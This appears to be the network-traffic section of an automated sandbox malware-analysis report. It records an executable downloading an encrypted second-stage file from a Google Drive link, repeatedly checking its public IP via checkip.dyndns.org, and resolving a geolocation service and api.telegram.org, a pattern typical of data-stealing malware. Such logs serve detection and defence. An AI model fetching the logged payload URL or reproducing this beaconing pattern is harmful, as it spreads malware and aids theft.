Jan 11, 2025 02:23:25.664725065 CET	1.1.1.1	192.168.2.8	0xf571	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:25.664725065 CET	1.1.1.1	192.168.2.8	0xf571	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:28.392266035 CET	1.1.1.1	192.168.2.8	0x5ddc	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:23:39.968799114 CET	1.1.1.1	192.168.2.8	0x6a22	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49711	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:25.677685976 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:27.253498077 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 02:23:27.258690119 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 02:23:27.448637009 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:27 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 02:23:29.365802050 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 02:23:30.292810917 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49714	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:31.099492073 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 02:23:31.759203911 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49716	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:32.382270098 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:33.024183989 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.8	49718	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:33.662085056 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:34.289839029 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.8	49720	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:34.905915022 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:35.551779985 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49722	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:36.158174038 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:36.788809061 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49724	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:37.423034906 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:38.057526112 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49726	193.122.6.168	80	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:23:38.676213980 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 02:23:39.301858902 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 01:23:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49708	142.250.186.78	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:20 UTC	216	OUT	GET /uc?export=download&id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-11 01:23:20 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 01:23:20 GMT Location: https://drive.usercontent.google.com/download?id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-L-YXFRgnlA-N5-0gXMmrkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49709	142.250.185.65	443	3760	C:\Users\user\Desktop\ZoRLXzC5qF.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 01:23:21 UTC	258	OUT	GET /download?id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-11 01:23:24 UTC	4939	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgR3BE7CJqu_A0qIjrFJlYJdMicUSsh_WRmykf5K9p7Dw3junQFSYMBZYjHT6CahwIyuftMtTJM Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="WcRLrVqr125.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 275008 Last-Modified: Mon, 02 Dec 2024 23:34:10 GMT Date: Sat, 11 Jan 2025 01:23:23 GMT Expires: Sat, 11 Jan 2025 01:23:23 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=FmFxiQ== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 01:23:24 UTC	4939	IN	Data Raw: e8 3c e5 02 7b dd 22 2f ab 4f 3b d1 d3 f0 d6 e0 2f 4e 95 97 2a 8f 99 62 5b a3 28 68 a0 c9 2c 67 cb 6c 50 56 e2 78 39 db e0 62 89 3d 8d 4e 03 2b fe 90 d9 a6 f0 5f 42 1a 7f a1 74 ef ad 2a 64 c1 85 66 23 57 91 85 a6 47 12 1b a1 cc 1e d1 f7 4f 58 b0 58 ff 0a 85 92 c5 26 2c 70 2f d6 b7 ec f1 57 fa 3d 87 eb d4 0a 0f 71 b7 c7 55 a4 00 4d e6 c5 07 da b1 17 03 2f 51 42 26 4c 42 6a e5 60 76 0a 06 51 b5 fa 3a c3 cb a2 5f a1 29 f0 01 32 82 ad 05 76 3c 62 f3 34 c7 89 b5 d6 67 3d 2b 56 a7 1a ec fe 07 9b 67 a0 9f f7 f3 67 3e f7 55 8d 5c 2f 17 bc ea c3 cc ce a1 b9 bc 62 29 e2 0d 9a 93 e7 a6 56 bf 78 8c 35 61 92 0d cd 39 7d b7 2b 5e 11 2e 99 5f d9 d9 91 f1 2f 8b b5 35 fc 7a 34 51 cb 13 c6 7d 0e 88 92 75 3e b0 c6 72 7a a6 ba f3 52 24 19 94 ee e5 fc 08 2d fa 15 63 01 29 0b Data Ascii: <{"/O;/Nb[(h,glPVx9b=N+_Btdf#WGOXX&,p/W=qUM/QB&LBj`vQ:_)2v<b4g=+Vgg>U\/b)Vx5a9}+^._/5z4Q}u>rzR$-c)
2025-01-11 01:23:24 UTC	4822	IN	Data Raw: ba c7 57 6f 87 dc 50 32 ee 9a fe df 94 74 bc 21 ec bd b4 e8 1a 44 e8 db b3 88 ea e4 4a 71 6b 88 a5 dd 8c 83 b3 6a c6 5e d1 cf 04 77 c7 06 c0 95 e4 4c 91 68 1b f3 87 46 12 9d fa 58 45 73 d4 df f9 94 8d 92 b7 22 ad 0b 61 e0 19 9e 58 46 21 93 b1 46 99 75 d8 44 3e 5c 58 8f dc 92 3a 7b c5 c9 38 d0 12 da ef 44 a0 18 10 5e 1e 76 b1 41 b2 0d 65 5f 3f 12 3d 6e ea 0f 68 78 b9 a8 cc 9f 59 e2 37 10 c2 15 0a 1a 27 d1 fd bd 3a cf b0 6c 44 dd 76 83 44 50 ff 1f 8b 4f cd 2e bf 70 8b ce 70 4e 30 ec 27 05 89 0a cc 0c 45 8c 00 7c 39 e0 bd dc 3f a2 d3 7c aa b6 c2 f8 13 14 9a 76 d3 d6 24 7d 9d 69 fd bd 59 71 c4 f7 a5 24 8e 9c 0c c2 07 90 d2 16 07 27 aa ee 85 ad 34 d0 0d 9a 60 f4 7e 6b c4 09 be 66 3a cd b4 01 0d 99 30 17 22 1f f8 72 37 dc 0d cf 40 69 3a 06 88 c5 78 1e 20 f8 ca Data Ascii: WoP2t!DJqkj^wLhFXEs"aXF!FuD>\X:{8D^vAe_?=nhxY7':lDvDPO.ppN0'E\|9?\|v$}iYq$'4`~kf:0"r7@i:x
2025-01-11 01:23:24 UTC	1322	IN	Data Raw: 7a 70 d1 6e ce cf e7 ff 8a d3 d6 5b 75 22 81 9c 3a 44 03 69 26 d0 bc e5 05 1e 57 10 f1 bd 93 e8 4f 94 1b 07 e9 12 be 98 06 7f 78 b3 43 44 96 4d b0 76 fe d9 2f 5b b7 03 c4 c1 92 55 d4 5f a9 49 66 4b e6 9c ea 6f 7d a1 75 d8 a0 c4 02 7b 94 ff 1c 15 e2 70 00 27 a5 8b 1e fc 8d dd e9 56 72 b6 c4 d4 71 c6 d6 dc 21 4e 61 e5 92 cb 11 2a 46 8e 1c fd 0c 55 25 8d 0f ff fc 31 de 0f e5 1e 02 4d 6a 9f f0 34 06 56 26 1b 09 f9 22 6b 83 74 f0 d2 8f 4b 85 0f 8f 96 d4 f4 82 87 8e 5b bc 26 fb 58 fa a9 fd e5 39 b7 0d 51 a5 e8 61 6c 61 ed bf b1 f9 37 8e 92 25 1f fc 63 a7 22 8c e6 4f 82 4f e0 70 2a 9a 25 70 d0 3b 27 12 9d e9 7e 63 08 21 37 aa c0 13 15 8e 94 f2 14 a5 dc 80 08 fc e4 f3 7f 7e 2c c5 80 70 9a 1d e7 e4 99 45 08 61 9b 07 38 a2 86 d3 ce 58 82 07 c5 34 48 0e 73 8f 30 05 Data Ascii: zpn[u":Di&WOxCDMv/[U_IfKo}u{p'Vrq!NaFU%1Mj4V&"ktK[&X9Qala7%c"OOp%p;'~c!7~,pEa8X4Hs0
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: 08 5e 50 62 6b ab d4 c9 31 90 18 b0 17 e0 b2 c8 d5 65 0c 46 e0 0d d0 27 0d c1 4f 9d 34 28 87 1a cf 6a 02 b9 dd ba ae 75 57 84 24 92 e6 08 a6 98 51 dc b5 c3 78 e7 3f d4 76 67 ab 40 4a fb a9 fc 92 42 b6 eb 38 5d 8e fc 6e 6a e7 df d6 7c 31 ed 30 68 d1 51 e5 f3 a5 95 fa 35 8d ed 14 e3 bd 7c 53 45 8b 68 ce c4 6a 90 66 dd a0 74 42 b1 78 88 25 c2 c8 75 81 50 9a 48 b9 3b 8d d8 21 ef 74 56 1b ad 94 cc ff 3f 88 d1 06 50 14 4e 02 81 8f e3 01 15 48 bc 0e c0 26 2e df 81 2a 8d 26 ab 99 9b af 5e f3 1b ef 7f d1 a0 18 a8 53 7c 4a b7 46 aa f1 f6 8d ff 5b aa a3 50 5a 03 92 14 c1 55 05 83 42 1b ea 5e 06 b8 2a f0 77 78 33 99 f6 4d a1 19 63 80 e0 10 78 1f 21 6f 1c 3f a5 1f 06 70 10 0c 2b 07 68 1e a5 ee fd 7f a3 5c e5 06 2d f1 e7 ba 79 0e 47 b3 7f 8d 92 89 bd a8 f4 69 91 0e b4 Data Ascii: ^Pbk1eF'O4(juW$Qx?vg@JB8]nj\|10hQ5\|SEhjftBx%uPH;!tV?PNH&.&^S\|JF[PZUB^wx3Mcx!o?p+h\-yGi
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: eb 71 d3 57 f9 55 a3 b9 45 6f 87 99 be 17 f4 ea 03 cf 94 5e 1e 09 99 8a b5 e2 75 1d e9 db b9 86 94 cf 4a 71 6f fb 48 df 8c 89 a0 c0 d6 58 be 05 04 77 cd df c6 fa 37 42 91 62 1b 8d bb 46 12 99 89 91 45 72 de cc f1 3d bd 92 b7 fe de 9e 63 f0 69 88 70 82 21 93 ba 4b 57 77 cb fc 2f 55 74 90 cd 9a 3c 14 0f e1 5b da 12 d0 cf 48 88 53 18 48 7b bf de 1d b8 0d 6f 21 53 6c 03 64 ea 0c 5f a3 34 f7 c6 f0 94 8d 52 1a c2 0e 02 63 1a be 9b b9 44 fe b7 03 27 ae ca 89 2b 32 90 d2 81 43 c7 5d c7 78 9a c2 0c 84 30 fd 29 0d 8f 7f c9 c3 45 86 19 79 11 95 b8 af 52 a2 0d 66 9c 98 e7 fe 11 71 e5 7c d3 f4 46 a3 93 63 32 bb 75 79 d5 8f ff 25 8e 98 74 57 d9 81 a6 6f 42 a6 aa e4 82 65 c4 d1 0f 94 5d f7 56 a5 aa 08 be 18 1b cd 68 db 2b 72 21 13 04 04 e5 08 6e dd 0d cb 38 58 f7 0f d0 Data Ascii: qWUEo^uJqoHXw7BbFEr=cip!KWw/Ut<[HSH{o!Sld_4RcD'+2C]x0)EyRfq\|Fc2uy%tWoBe]Vh+r!n8X
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: c9 f8 37 88 bd 49 85 de 71 c2 b4 67 ec 6f 9d 08 32 60 f4 d0 48 07 ae 5e 41 f8 6a 78 3f 49 52 76 13 1f ef 28 a1 08 59 91 14 9e a1 fd a0 77 f0 6e 40 25 b2 47 08 c5 35 0f 34 cf c4 5b a1 47 23 fe 6e be d9 cb 4f bb d4 10 c6 fc 69 fb 17 b0 c2 55 69 23 1a e7 30 12 aa 78 5e 35 b0 83 60 bd 22 01 5e 2b 0f 46 42 a6 39 09 00 d2 d1 3c 58 f7 94 5f 47 36 32 a0 9f 46 4c c4 05 bc c5 81 26 58 a5 39 34 40 3c 53 34 ff 1c ed e7 5b ba d5 39 74 0c e4 db c2 45 c1 11 44 ba 31 7b 47 63 23 e5 e4 e7 0a 14 f7 f5 6f b9 04 48 12 44 c5 c3 2f 8f 48 6d f4 6a c9 ba 10 55 ae b2 a1 aa dc 8b de 6e 6e 1f e9 85 8a 22 53 dc 1c ef 59 44 0c 64 22 35 6b 3b 70 42 02 36 24 f4 1e bc 5d 9c 55 f1 ae 34 b2 9c 78 5c 16 06 2f d9 b3 4d 0e 86 c6 36 1b 3f ac cf 01 df e2 a2 70 01 5d 80 5d 05 e4 fc d3 cb 2a eb Data Ascii: 7Iqgo2`H^Ajx?IRv(Ywn@%G54[G#nOiUi#0x^5`"^+FB9<X_G62FL&X94@<S4[9tED1{Gc#oHD/HmjUnn"SYDd"5k;pB6$]U4x\/M6?p]]*
2025-01-11 01:23:24 UTC	1390	IN	Data Raw: 1a de 76 51 64 c9 93 82 ba c3 ab 97 af 7f 38 fe 62 31 93 b7 e9 56 ae 2e e2 9c 61 4b 82 5d 4e 66 d8 f0 5e 11 24 99 5f 01 1a 93 f0 24 8a e5 23 d4 10 30 51 c1 07 e6 7d 02 88 92 5d a7 8a c2 78 7a 9a 37 b3 52 64 1c b1 f8 97 1a 03 2d aa 3d 22 01 2b 0d f4 37 de 26 a4 43 87 96 07 af 1a 37 48 06 2e f4 bc 97 bf b2 96 5d 58 5d a0 3c 57 a7 91 f8 a7 66 7c ea 4f a8 5d 75 f9 00 39 74 95 24 9b a3 77 99 7c c8 75 14 b5 81 ba 09 ad 69 30 bc a4 e0 61 89 d2 1e 00 23 3c 83 eb 83 c1 27 93 27 6b 06 11 a0 91 09 be 0f 0d 49 cf a6 ff 8a d3 67 76 00 0a e3 96 29 50 ac ee 35 d0 cc 9b 1a 1e 29 26 d9 f4 97 9a d0 e4 dc 65 ff 4a 17 da 06 75 68 5c 5c 46 84 74 f2 4f 3d dd 2f 86 48 2d c4 c1 b3 0f 93 4f a9 33 63 7c 67 b4 88 65 6b 55 aa cb a7 d5 05 42 da ca 1c 15 e6 16 6b 23 98 fb 08 d2 7f 1d Data Ascii: 